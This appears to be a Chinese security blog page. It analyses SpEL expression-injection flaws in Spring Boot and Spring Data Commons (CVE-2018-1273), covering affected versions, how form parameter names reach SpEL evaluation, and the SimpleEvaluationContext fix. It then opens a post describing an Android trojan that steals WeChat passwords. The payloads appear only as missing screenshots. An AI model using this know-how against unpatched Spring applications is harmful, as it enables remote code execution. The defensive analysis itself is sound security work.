其核心思想就是在递归中从context下的message中取出需要再次递归解析的$(payload),由此来在下一次的解析后去掉$()并把其中payload当作传入的name参数来执行getValue操作。
屏幕快照 2019-01-18 下午7.25.45

其补丁是创建了一个新的NonRecursivePropertyPlaceholderHelper类,来防止递归解析路径中或者名字中含有的表达式。
详见: https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

Spring Data Commons远程代码执行漏洞(CVE-2018-1273)

影响版本:
1.13-1.13.10
2.0-2.0.5

漏洞主要因为是在自动解析用户的参数的时候采用了SpEL去解析propertyName
我们直接从补丁看漏洞代码是位于MapPropertyAccessor类的setPropertyValue方法
屏幕快照 2019-01-18 下午8.01.45
可以看到这是很直接的之前错误的使用了StandardEvaluationContext造成的RCE,修复方式也是主要通过替换为SimpleEvaluationContext完成。
漏洞形成的原因就是当用户在开发中利用了Spring-data-commons中的特性对用户的输入参数进行自动匹配时候,会将用户提交的form表单中的参数名作为SpEL执行。
漏洞代码:

开发者使用如下代码:

其流程简单上说就是在获取POST过来的参数时候因为要自动绑定进入实体类,所以首先要通过isWritableProperty中调用的getPropertyPath来判断参数名。如:传来的username参数是否是开发者controller中接收的UserForm实体类里的一个属性名。然后把用户传入的参数key即propertyName进行PARSER.parseExpression(propertyName),最后setValue(context,value)触发了恶意代码。(上方功能用法示例中-> Variables 中介绍过)
细节如果需要了解可以自己调试一下。
payload:

屏幕快照 2019-01-22 上午12.32.05
setValue(context,value)时候会把propertyName内的username作为一个集合,利用了SpEL集合选择的功能,所以就会执行中括号里面的SpEL表达式了。
屏幕快照 2019-01-20 下午12.19.44

防御方式

因为SpEL表达式注入漏洞导致攻击者可以通过表达式执行精心构造的任意代码,导致命令执行。为了防御该类漏洞,Spring官方推出了SimpleEvaluationContext作为安全类来防御该类漏洞。
官方文档:https://docs.spring.io/spring/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html
常见用法:

总结

经过常见用法以及几个案例分析,我们可以知道,事实上在一般的开发后台过程中我们基本不会写出这样的漏洞点,一般就是通过注解或者XML用其Bean以及上下文中变量的存取功能。而出现漏洞的位置基本有两种,一是相关框架中在需要用一种通用的方法获取或者设置某对象中指定属性名的属性值的时候,也可以说使用SpEL的地方往往就是需要利用它内部使用反射的这个特点,从而可以省去我们编写的麻烦,来达到一些目的。二是在双重EL表达式评估中发生。发现该漏洞可以通过这些关键触发方法或者类如getValueStandardEvaluationContext等,当然也可以通过find-sec-bug这个插件来寻找。其防御方式是使用SimpleEvaluationContext来禁用其敏感的功能,从而阻止表达式注入执行问题的出现。

参考

https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html
http://www.polaris-lab.com/index.php/archives/613/
https://m.habr.com/company/dsec/blog/433034/
http://blog.nsfocus.net/spel-vulnerability-technical-analysis-and-protection-scheme/
http://deadpool.sh/2017/RCE-Springs/
https://2018.zeronights.ru/wp-content/uploads/materials/10%20ZN2018%20WV%20-%20Spel%20injection%20.pdf
https://www.freebuf.com/vuls/172984.html
http://xxlegend.com/2018/04/12/CVE-2018-1273-%20RCE%20with%20Spring%20Data%20Commons%20分析报告/
https://www.secpulse.com/archives/75930.html

对一款针对微信的木马进行的xjb分析

假期最后一天,收到王老师(同学)发现的一款安卓木马,最后发现该木马实则在去年年底就已爆发过一次。不过伪装手法有趣,值得学习。

木马分析


木马主要来源:酷安

不法分子将木马与各式各样的软件捆绑一起,比如目前我看到的几种(绿色守护/APP Setting/Root_Explorer_v4.0.5)

木马样本:timesync.apk

其他伪装或者捆绑名称:一键卸载大师/wallpapercropper/谷歌应用下载器/软件一键移动到SD卡

为了简单说明该木马用途,这里借用下猎豹移动安全实验室的分析结果:

该微信盗号木马暗藏于鱼龙混杂的各类第三方定制ROM和APP中,伪装为安卓系统服务模块,通过弹出伪造的微信登录和支付的钓鱼界面,获得用户的登录密码以及支付密码后,再通过监控用户短信等手段,远程窃取微信支付绑定的银行卡余额。

经过分析该木马主要功能为如下:

上报用户短信,劫持微信钓鱼获取密码and支付密码,上传微信数据,卸载微信,摧毁系统

具体功能可以看看我截的控制端的图:

2345截图20170212221306

阅读剩余部分 –

LOGO

近期文章

标签

分类目录

文章归档

近期评论

功能

博客统计

  • 22,031 点击次数